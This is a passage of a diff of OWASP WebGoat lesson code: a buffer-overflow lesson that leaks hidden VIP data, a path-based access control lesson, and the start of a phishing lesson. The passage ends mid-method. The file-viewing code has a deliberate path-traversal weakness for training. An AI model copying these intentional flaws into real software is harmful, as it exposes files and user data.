// Table // Table
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
// First Name // First Name
try { try {
param = s.getParser().getStrictAlphaParameter(FIRST_NAME, 25); param = s.getParser().getStrictAlphaParameter(FIRST_NAME, 25);
} catch (ParameterNotFoundException e) { } catch (ParameterNotFoundException e) {
param = ""; param = "";
} catch (ValidationException e) { } catch (ValidationException e) {
param = ""; param = "";
} }
Input input = new Input(Input.TEXT, FIRST_NAME, param); Input input = new Input(Input.TEXT, FIRST_NAME, param);
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD().addElement("First Name: ")); tr.addElement(new TD().addElement("First Name: "));
tr.addElement(new TD().addElement(input)); tr.addElement(new TD().addElement(input));
tr.addElement(new TD().addElement("*")); tr.addElement(new TD().addElement("*"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
t.addElement(tr); t.addElement(tr);
// Last Name // Last Name
try { try {
param = s.getParser().getStrictAlphaParameter(LAST_NAME, 25); param = s.getParser().getStrictAlphaParameter(LAST_NAME, 25);
} catch (ParameterNotFoundException e) { } catch (ParameterNotFoundException e) {
param = ""; param = "";
} catch (ValidationException e) { } catch (ValidationException e) {
param = ""; param = "";
} }
input = new Input(Input.TEXT, LAST_NAME, param); input = new Input(Input.TEXT, LAST_NAME, param);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Last Name: ")); tr.addElement(new TD().addElement("Last Name: "));
tr.addElement(new TD().addElement(input)); tr.addElement(new TD().addElement(input));
tr.addElement(new TD().addElement("*")); tr.addElement(new TD().addElement("*"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
t.addElement(tr); t.addElement(tr);
// Room Number // Room Number
try { try {
param = s.getParser().getStrictAlphaParameter(ROOM_NUMBER, 25); param = s.getParser().getStrictAlphaParameter(ROOM_NUMBER, 25);
} catch (ParameterNotFoundException e) { } catch (ParameterNotFoundException e) {
param = ""; param = "";
} catch (ValidationException e) { } catch (ValidationException e) {
param = ""; param = "";
} }
input = new Input(Input.TEXT, ROOM_NUMBER, param); input = new Input(Input.TEXT, ROOM_NUMBER, param);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Room Number: ")); tr.addElement(new TD().addElement("Room Number: "));
tr.addElement(new TD().addElement(input)); tr.addElement(new TD().addElement(input));
tr.addElement(new TD().addElement("*")); tr.addElement(new TD().addElement("*"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
t.addElement(tr); t.addElement(tr);
// Submit // Submit
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
tr.addElement(new TD().addElement(ECSFactory.makeButton("Submit"))); tr.addElement(new TD().addElement(ECSFactory.makeButton("Submit")));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
// Footer // Footer
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new StringElement("* The above fields are required for login.")); ec.addElement(new StringElement("* The above fields are required for login."));
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new br()); ec.addElement(new br());
return ec; return ec;
} }
/** /**
* <p>Method for constructing the second step and returning it as * <p>Method for constructing the second step and returning it as
* an Element.</p> * an Element.</p>
* *
* @param s * @param s
* @return The Element that is the second step. * @return The Element that is the second step.
*/ */
private Element makeSecondStep(WebSession s) private Element makeSecondStep(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String param = ""; String param = "";
// Header // Header
ec.addElement(new StringElement("Please select from the following available price plans:")); ec.addElement(new StringElement("Please select from the following available price plans:"));
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new StringElement("Step 2/2")); ec.addElement(new StringElement("Step 2/2"));
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new StringElement("Ensure that your selection matches the hours of usage, as no refunds are given for this service.")); ec.addElement(new StringElement("Ensure that your selection matches the hours of usage, as no refunds are given for this service."));
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new br()); ec.addElement(new br());
// Table // Table
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
// First Empty Row // First Empty Row
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
t.addElement(tr); t.addElement(tr);
// Price Plans // Price Plans
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Available Price Plans:")); tr.addElement(new TD().addElement("Available Price Plans:"));
tr.addElement(new TD().addElement(ECSFactory.makePulldown(PRICE_PLAN, price_plans, price_plans[2], 1))); tr.addElement(new TD().addElement(ECSFactory.makePulldown(PRICE_PLAN, price_plans, price_plans[2], 1)));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
t.addElement(tr); t.addElement(tr);
// Submit // Submit
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
tr.addElement(new TD().addElement(ECSFactory.makeButton("Accept Terms"))); tr.addElement(new TD().addElement(ECSFactory.makeButton("Accept Terms")));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
ec.addElement("\r\n"); ec.addElement("\r\n");
// Hidden Form Fields // Hidden Form Fields
param = s.getParser().getStringParameter(LAST_NAME, ""); param = s.getParser().getStringParameter(LAST_NAME, "");
Input input = new Input(Input.HIDDEN, LAST_NAME, param); Input input = new Input(Input.HIDDEN, LAST_NAME, param);
ec.addElement(input); ec.addElement(input);
ec.addElement("\r\n"); ec.addElement("\r\n");
param = s.getParser().getStringParameter(FIRST_NAME, ""); param = s.getParser().getStringParameter(FIRST_NAME, "");
input = new Input(Input.HIDDEN, FIRST_NAME, param); input = new Input(Input.HIDDEN, FIRST_NAME, param);
ec.addElement(input); ec.addElement(input);
ec.addElement("\r\n"); ec.addElement("\r\n");
param = s.getParser().getStringParameter(ROOM_NUMBER, ""); param = s.getParser().getStringParameter(ROOM_NUMBER, "");
input = new Input(Input.HIDDEN, ROOM_NUMBER, param); input = new Input(Input.HIDDEN, ROOM_NUMBER, param);
ec.addElement(input); ec.addElement(input);
ec.addElement("\r\n"); ec.addElement("\r\n");
// Footer // Footer
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new StringElement("By Clicking on the above you accept the terms and conditions.")); ec.addElement(new StringElement("By Clicking on the above you accept the terms and conditions."));
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new br()); ec.addElement(new br());
return ec; return ec;
} }
/** /**
* <p>Method for constructing the third step and returning it as * <p>Method for constructing the third step and returning it as
* an Element.</p> * an Element.</p>
* *
* @param s * @param s
* @return The Element that is the third step. * @return The Element that is the third step.
*/ */
private Element makeThirdStep(WebSession s) private Element makeThirdStep(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String param1 = ""; String param1 = "";
String param2 = ""; String param2 = "";
String param3 = ""; String param3 = "";
// Header // Header
ec.addElement(new StringElement("You have now completed the 2 step process and have access to the Internet")); ec.addElement(new StringElement("You have now completed the 2 step process and have access to the Internet"));
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new StringElement("Process complete")); ec.addElement(new StringElement("Process complete"));
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new StringElement("Your connection will remain active for the time allocated for starting now.")); ec.addElement(new StringElement("Your connection will remain active for the time allocated for starting now."));
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new br()); ec.addElement(new br());
// Table // Table
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
// First Empty Row // First Empty Row
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
t.addElement(tr); t.addElement(tr);
// Price Plans // Price Plans
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
t.addElement(tr); t.addElement(tr);
// Submit // Submit
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
ec.addElement("\r\n"); ec.addElement("\r\n");
// Hidden Form Fields // Hidden Form Fields
param1 = s.getParser().getStringParameter(LAST_NAME, ""); param1 = s.getParser().getStringParameter(LAST_NAME, "");
Input input = new Input(Input.HIDDEN, "a", param1); Input input = new Input(Input.HIDDEN, "a", param1);
ec.addElement(input); ec.addElement(input);
ec.addElement("\r\n"); ec.addElement("\r\n");
param2 = s.getParser().getStringParameter(FIRST_NAME, ""); param2 = s.getParser().getStringParameter(FIRST_NAME, "");
input = new Input(Input.HIDDEN, "b", param2); input = new Input(Input.HIDDEN, "b", param2);
ec.addElement(input); ec.addElement(input);
ec.addElement("\r\n"); ec.addElement("\r\n");
param3 = s.getParser().getStringParameter(ROOM_NUMBER, ""); param3 = s.getParser().getStringParameter(ROOM_NUMBER, "");
input = new Input(Input.HIDDEN, "c", param3); input = new Input(Input.HIDDEN, "c", param3);
ec.addElement(input); ec.addElement(input);
ec.addElement("\r\n"); ec.addElement("\r\n");
// And finally the check... // And finally the check...
if(param3.length() > 4096) if(param3.length() > 4096)
{ {
ec.addElement(new Input(Input.hidden, "d", "Johnathan")); ec.addElement(new Input(Input.hidden, "d", "Johnathan"));
ec.addElement("\r\n"); ec.addElement("\r\n");
ec.addElement(new Input(Input.hidden, "e", "Ravern")); ec.addElement(new Input(Input.hidden, "e", "Ravern"));
ec.addElement("\r\n"); ec.addElement("\r\n");
ec.addElement(new Input(Input.hidden, "f", "4321")); ec.addElement(new Input(Input.hidden, "f", "4321"));
ec.addElement("\r\n"); ec.addElement("\r\n");
ec.addElement(new Input(Input.hidden, "g", "John")); ec.addElement(new Input(Input.hidden, "g", "John"));
ec.addElement("\r\n"); ec.addElement("\r\n");
ec.addElement(new Input(Input.hidden, "h", "Smith")); ec.addElement(new Input(Input.hidden, "h", "Smith"));
ec.addElement("\r\n"); ec.addElement("\r\n");
ec.addElement(new Input(Input.hidden, "i", "56")); ec.addElement(new Input(Input.hidden, "i", "56"));
ec.addElement("\r\n"); ec.addElement("\r\n");
ec.addElement(new Input(Input.hidden, "j", "Ana")); ec.addElement(new Input(Input.hidden, "j", "Ana"));
ec.addElement("\r\n"); ec.addElement("\r\n");
ec.addElement(new Input(Input.hidden, "k", "Arneta")); ec.addElement(new Input(Input.hidden, "k", "Arneta"));
ec.addElement("\r\n"); ec.addElement("\r\n");
ec.addElement(new Input(Input.hidden, "l", "78")); ec.addElement(new Input(Input.hidden, "l", "78"));
ec.addElement("\r\n"); ec.addElement("\r\n");
ec.addElement(new Input(Input.hidden, "m", "Lewis")); ec.addElement(new Input(Input.hidden, "m", "Lewis"));
ec.addElement("\r\n"); ec.addElement("\r\n");
ec.addElement(new Input(Input.hidden, "n", "Hamilton")); ec.addElement(new Input(Input.hidden, "n", "Hamilton"));
ec.addElement("\r\n"); ec.addElement("\r\n");
ec.addElement(new Input(Input.hidden, "o", "9901")); ec.addElement(new Input(Input.hidden, "o", "9901"));
ec.addElement("\r\n"); ec.addElement("\r\n");
s.setMessage("To complete the lesson, restart lesson and enter VIP first/last name"); s.setMessage("To complete the lesson, restart lesson and enter VIP first/last name");
} }
if (("Johnathan".equalsIgnoreCase(param2) || "John".equalsIgnoreCase(param2) if (("Johnathan".equalsIgnoreCase(param2) || "John".equalsIgnoreCase(param2)
|| "Ana".equalsIgnoreCase(param2) ||"Lewis".equalsIgnoreCase(param2)) || "Ana".equalsIgnoreCase(param2) ||"Lewis".equalsIgnoreCase(param2))
&& ("Ravern".equalsIgnoreCase(param1) || "Smith".equalsIgnoreCase(param1) && ("Ravern".equalsIgnoreCase(param1) || "Smith".equalsIgnoreCase(param1)
|| "Arneta".equalsIgnoreCase(param1) ||"Hamilton".equalsIgnoreCase(param1))) || "Arneta".equalsIgnoreCase(param1) ||"Hamilton".equalsIgnoreCase(param1)))
{ {
// :) // :)
// Allows for mixed VIP names, but that's not really the point // Allows for mixed VIP names, but that's not really the point
makeSuccess(s); makeSuccess(s);
} }
// Footer // Footer
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new StringElement("We would like to thank you for your payment.")); ec.addElement(new StringElement("We would like to thank you for your payment."));
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new br()); ec.addElement(new br());
return ec; return ec;
} }
} }

View File

@ -52,218 +52,218 @@ import org.owasp.webgoat.util.WebGoatI18N;
public class PathBasedAccessControl extends LessonAdapter public class PathBasedAccessControl extends LessonAdapter
{ {
private final static String FILE = "File"; private final static String FILE = "File";
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
String dir = s.getContext().getRealPath("/lesson_plans/English"); String dir = s.getContext().getRealPath("/lesson_plans/English");
File d = new File(dir); File d = new File(dir);
Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
String[] list = d.list(); String[] list = d.list();
String listing = " <p><B>"+WebGoatI18N.get("CurrentDirectory")+"</B> " + Encoding.urlDecode(dir) String listing = " <p><B>"+WebGoatI18N.get("CurrentDirectory")+"</B> " + Encoding.urlDecode(dir)
+ "<br><br>"+WebGoatI18N.get("ChooseFileToView")+"</p>"; + "<br><br>"+WebGoatI18N.get("ChooseFileToView")+"</p>";
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD().setColSpan(2).addElement(new StringElement(listing))); tr.addElement(new TD().setColSpan(2).addElement(new StringElement(listing)));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().setWidth("35%").addElement(ECSFactory.makePulldown(FILE, list, "", 15))); tr.addElement(new TD().setWidth("35%").addElement(ECSFactory.makePulldown(FILE, list, "", 15)));
tr.addElement(new TD().addElement(ECSFactory.makeButton(WebGoatI18N.get("ViewFile")))); tr.addElement(new TD().addElement(ECSFactory.makeButton(WebGoatI18N.get("ViewFile"))));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
// FIXME: would be cool to allow encodings here -- hex, percent, // FIXME: would be cool to allow encodings here -- hex, percent,
// url, etc... // url, etc...
String file = s.getParser().getRawParameter(FILE, ""); String file = s.getParser().getRawParameter(FILE, "");
// defuse file searching // defuse file searching
boolean illegalCommand = getWebgoatContext().isDefuseOSCommands(); boolean illegalCommand = getWebgoatContext().isDefuseOSCommands();
if (getWebgoatContext().isDefuseOSCommands()) if (getWebgoatContext().isDefuseOSCommands())
{ {
// allow them to look at any file in the webgoat hierachy. Don't // allow them to look at any file in the webgoat hierachy. Don't
// allow them // allow them
// to look about the webgoat root, except to see the LICENSE // to look about the webgoat root, except to see the LICENSE
// file // file
if (upDirCount(file) == 3 && !file.endsWith("LICENSE")) if (upDirCount(file) == 3 && !file.endsWith("LICENSE"))
{ {
s.setMessage(WebGoatI18N.get("AccessDenied")); s.setMessage(WebGoatI18N.get("AccessDenied"));
s.setMessage(WebGoatI18N.get("ItAppears1")); s.setMessage(WebGoatI18N.get("ItAppears1"));
} }
else if (upDirCount(file) > 3) else if (upDirCount(file) > 3)
{ {
s.setMessage(WebGoatI18N.get("AccessDenied")); s.setMessage(WebGoatI18N.get("AccessDenied"));
s.setMessage(WebGoatI18N.get("ItAppears2")); s.setMessage(WebGoatI18N.get("ItAppears2"));
} }
else else
{ {
illegalCommand = false; illegalCommand = false;
} }
} }
// Using the URI supports encoding of the data. // Using the URI supports encoding of the data.
// We could force the user to use encoded '/'s == %2f to make the lesson more difficult. // We could force the user to use encoded '/'s == %2f to make the lesson more difficult.
// We url Encode our dir name to avoid problems with special characters in our own path. // We url Encode our dir name to avoid problems with special characters in our own path.
// File f = new File( new URI("file:///" + // File f = new File( new URI("file:///" +
// Encoding.urlEncode(dir).replaceAll("\\\\","/") + "/" + // Encoding.urlEncode(dir).replaceAll("\\\\","/") + "/" +
// file.replaceAll("\\\\","/")) ); // file.replaceAll("\\\\","/")) );
File f = new File((dir + "\\" + file).replaceAll("\\\\", "/")); File f = new File((dir + "\\" + file).replaceAll("\\\\", "/"));
if (s.isDebug()) if (s.isDebug())
{ {
s.setMessage(WebGoatI18N.get("File") + file); s.setMessage(WebGoatI18N.get("File") + file);
s.setMessage(WebGoatI18N.get("Dir")+ dir); s.setMessage(WebGoatI18N.get("Dir")+ dir);
// s.setMessage("File URI: " + "file:///" + // s.setMessage("File URI: " + "file:///" +
// (Encoding.urlEncode(dir) + "\\" + // (Encoding.urlEncode(dir) + "\\" +
// Encoding.urlEncode(file)).replaceAll("\\\\","/")); // Encoding.urlEncode(file)).replaceAll("\\\\","/"));
s.setMessage(WebGoatI18N.get("IsFile")+ f.isFile()); s.setMessage(WebGoatI18N.get("IsFile")+ f.isFile());
s.setMessage(WebGoatI18N.get("Exists") + f.exists()); s.setMessage(WebGoatI18N.get("Exists") + f.exists());
} }
if (!illegalCommand) if (!illegalCommand)
{ {
if (f.isFile() && f.exists()) if (f.isFile() && f.exists())
{ {
// Don't set completion if they are listing files in the // Don't set completion if they are listing files in the
// directory listing we gave them. // directory listing we gave them.
if (upDirCount(file) >= 1) if (upDirCount(file) >= 1)
{ {
s.setMessage(WebGoatI18N.get("CongratsAccessToFileAllowed")); s.setMessage(WebGoatI18N.get("CongratsAccessToFileAllowed"));
s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath())); s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath()));
makeSuccess(s); makeSuccess(s);
} }
else else
{ {
s.setMessage(WebGoatI18N.get("FileInAllowedDirectory")); s.setMessage(WebGoatI18N.get("FileInAllowedDirectory"));
s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath())); s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath()));
} }
} }
else if (file != null && file.length() != 0) else if (file != null && file.length() != 0)
{ {
s s
.setMessage(WebGoatI18N.get("AccessToFileDenied1") + Encoding.urlDecode(f.getCanonicalPath()) .setMessage(WebGoatI18N.get("AccessToFileDenied1") + Encoding.urlDecode(f.getCanonicalPath())
+ WebGoatI18N.get("AccessToFileDenied2")); + WebGoatI18N.get("AccessToFileDenied2"));
} }
else else
{ {
// do nothing, probably entry screen // do nothing, probably entry screen
} }
try try
{ {
// Show them the file // Show them the file
// Strip out some of the extra html from the "help" file // Strip out some of the extra html from the "help" file
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new HR().setWidth("100%")); ec.addElement(new HR().setWidth("100%"));
ec.addElement(WebGoatI18N.get("ViewingFile")+ f.getCanonicalPath()); ec.addElement(WebGoatI18N.get("ViewingFile")+ f.getCanonicalPath());
ec.addElement(new HR().setWidth("100%")); ec.addElement(new HR().setWidth("100%"));
if (f.length() > 80000) { throw new Exception(WebGoatI18N.get("FileTooLarge")); } if (f.length() > 80000) { throw new Exception(WebGoatI18N.get("FileTooLarge")); }
String fileData = getFileText(new BufferedReader(new FileReader(f)), false); String fileData = getFileText(new BufferedReader(new FileReader(f)), false);
if (fileData.indexOf(0x00) != -1) { throw new Exception(WebGoatI18N.get("FileBinary")); } if (fileData.indexOf(0x00) != -1) { throw new Exception(WebGoatI18N.get("FileBinary")); }
ec.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), "<br>") ec.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), "<br>")
.replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll("<br><br>", "<br>") .replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll("<br><br>", "<br>")
.replaceAll("<br>\\s<br>", "<br>").replaceAll("<\\?", "&lt;").replaceAll("<(r|u|t)", .replaceAll("<br>\\s<br>", "<br>").replaceAll("<\\?", "&lt;").replaceAll("<(r|u|t)",
"&lt;$1"))); "&lt;$1")));
} catch (Exception e) } catch (Exception e)
{ {
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(WebGoatI18N.get("TheFollowingError")); ec.addElement(WebGoatI18N.get("TheFollowingError"));
ec.addElement(e.getMessage()); ec.addElement(e.getMessage());
} }
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage(WebGoatI18N.get("ErrorGenerating")+ this.getClass().getName()); s.setMessage(WebGoatI18N.get("ErrorGenerating")+ this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
private int upDirCount(String fileName) private int upDirCount(String fileName)
{ {
int count = 0; int count = 0;
int startIndex = fileName.indexOf(".."); int startIndex = fileName.indexOf("..");
while (startIndex != -1) while (startIndex != -1)
{ {
count++; count++;
startIndex = fileName.indexOf("..", startIndex + 1); startIndex = fileName.indexOf("..", startIndex + 1);
} }
return count; return count;
} }
/** /**
* DOCUMENT ME! * DOCUMENT ME!
* *
* @return DOCUMENT ME! * @return DOCUMENT ME!
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.ACCESS_CONTROL; return Category.ACCESS_CONTROL;
} }
/** /**
* Gets the hints attribute of the AccessControlScreen object * Gets the hints attribute of the AccessControlScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add(WebGoatI18N.get("PathBasedAccessControlHint1")); hints.add(WebGoatI18N.get("PathBasedAccessControlHint1"));
hints.add(WebGoatI18N.get("PathBasedAccessControlHint2")); hints.add(WebGoatI18N.get("PathBasedAccessControlHint2"));
hints.add(WebGoatI18N.get("PathBasedAccessControlHint3")); hints.add(WebGoatI18N.get("PathBasedAccessControlHint3"));
hints.add(WebGoatI18N.get("PathBasedAccessControlHint4")); hints.add(WebGoatI18N.get("PathBasedAccessControlHint4"));
return hints; return hints;
} }
/** /**
* Gets the instructions attribute of the WeakAccessControl object * Gets the instructions attribute of the WeakAccessControl object
* *
* @return The instructions value * @return The instructions value
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = WebGoatI18N.get("PathBasedAccessControlInstr1")+ s.getUserName() + WebGoatI18N.get("PathBasedAccessControlInstr2"); String instructions = WebGoatI18N.get("PathBasedAccessControlInstr1")+ s.getUserName() + WebGoatI18N.get("PathBasedAccessControlInstr2");
return (instructions); return (instructions);
} }
private final static Integer DEFAULT_RANKING = new Integer(115); private final static Integer DEFAULT_RANKING = new Integer(115);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the AccessControlScreen object * Gets the title attribute of the AccessControlScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Bypass a Path Based Access Control Scheme"); return ("Bypass a Path Based Access Control Scheme");
} }
} }

View File

@ -54,244 +54,244 @@ import org.owasp.webgoat.session.WebSession;
public class Phishing extends LessonAdapter public class Phishing extends LessonAdapter
{ {
/** /**
* Description of the Field * Description of the Field
*/ */
protected final static String SEARCH = "Username"; protected final static String SEARCH = "Username";
private String searchText; private String searchText;
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
private boolean postedCredentials(WebSession s) private boolean postedCredentials(WebSession s)
{ {
String postedToCookieCatcher = getLessonTracker(s).getLessonProperties().getProperty(Catcher.PROPERTY, String postedToCookieCatcher = getLessonTracker(s).getLessonProperties().getProperty(Catcher.PROPERTY,
Catcher.EMPTY_STRING); Catcher.EMPTY_STRING);
// <START_OMIT_SOURCE> // <START_OMIT_SOURCE>
return (!postedToCookieCatcher.equals(Catcher.EMPTY_STRING)); return (!postedToCookieCatcher.equals(Catcher.EMPTY_STRING));
// <END_OMIT_SOURCE> // <END_OMIT_SOURCE>
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
searchText = s.getParser().getRawParameter(SEARCH, ""); searchText = s.getParser().getRawParameter(SEARCH, "");
// <START_OMIT_SOURCE> // <START_OMIT_SOURCE>
// <END_OMIT_SOURCE> // <END_OMIT_SOURCE>
ec.addElement(makeSearch(s)); ec.addElement(makeSearch(s));
if (postedCredentials(s)) if (postedCredentials(s))
{ {
makeSuccess(s); makeSuccess(s);
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
} }
return (ec); return (ec);
} }
protected Element makeSearch(WebSession s) protected Element makeSearch(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("WebGoat Search ")); ec.addElement(new H1().addElement("WebGoat Search "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setAlign("center");
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2)); tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr); t.addElement(tr);
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
tr = new TR(); tr = new TR();
tr.addElement(new TH().addElement("This facility will search the WebGoat source.").setColSpan(2) tr.addElement(new TH().addElement("This facility will search the WebGoat source.").setColSpan(2)
.setAlign("center")); .setAlign("center"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2)); tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr); t.addElement(tr);
TR row1 = new TR(); TR row1 = new TR();
row1.addElement(new TD(new B(new StringElement("Search: "))).setAlign("right")); row1.addElement(new TD(new B(new StringElement("Search: "))).setAlign("right"));
Input input1 = new Input(Input.TEXT, SEARCH, searchText); Input input1 = new Input(Input.TEXT, SEARCH, searchText);
row1.addElement(new TD(input1).setAlign("left")); row1.addElement(new TD(input1).setAlign("left"));
t.addElement(row1); t.addElement(row1);
Element b = ECSFactory.makeButton("Search"); Element b = ECSFactory.makeButton("Search");
t.addElement(new TR(new TD(b).setColSpan(2)).setAlign("center")); t.addElement(new TR(new TD(b).setColSpan(2)).setAlign("center"));
ec.addElement(t); ec.addElement(t);
if (!searchText.equals("")) if (!searchText.equals(""))
{ {
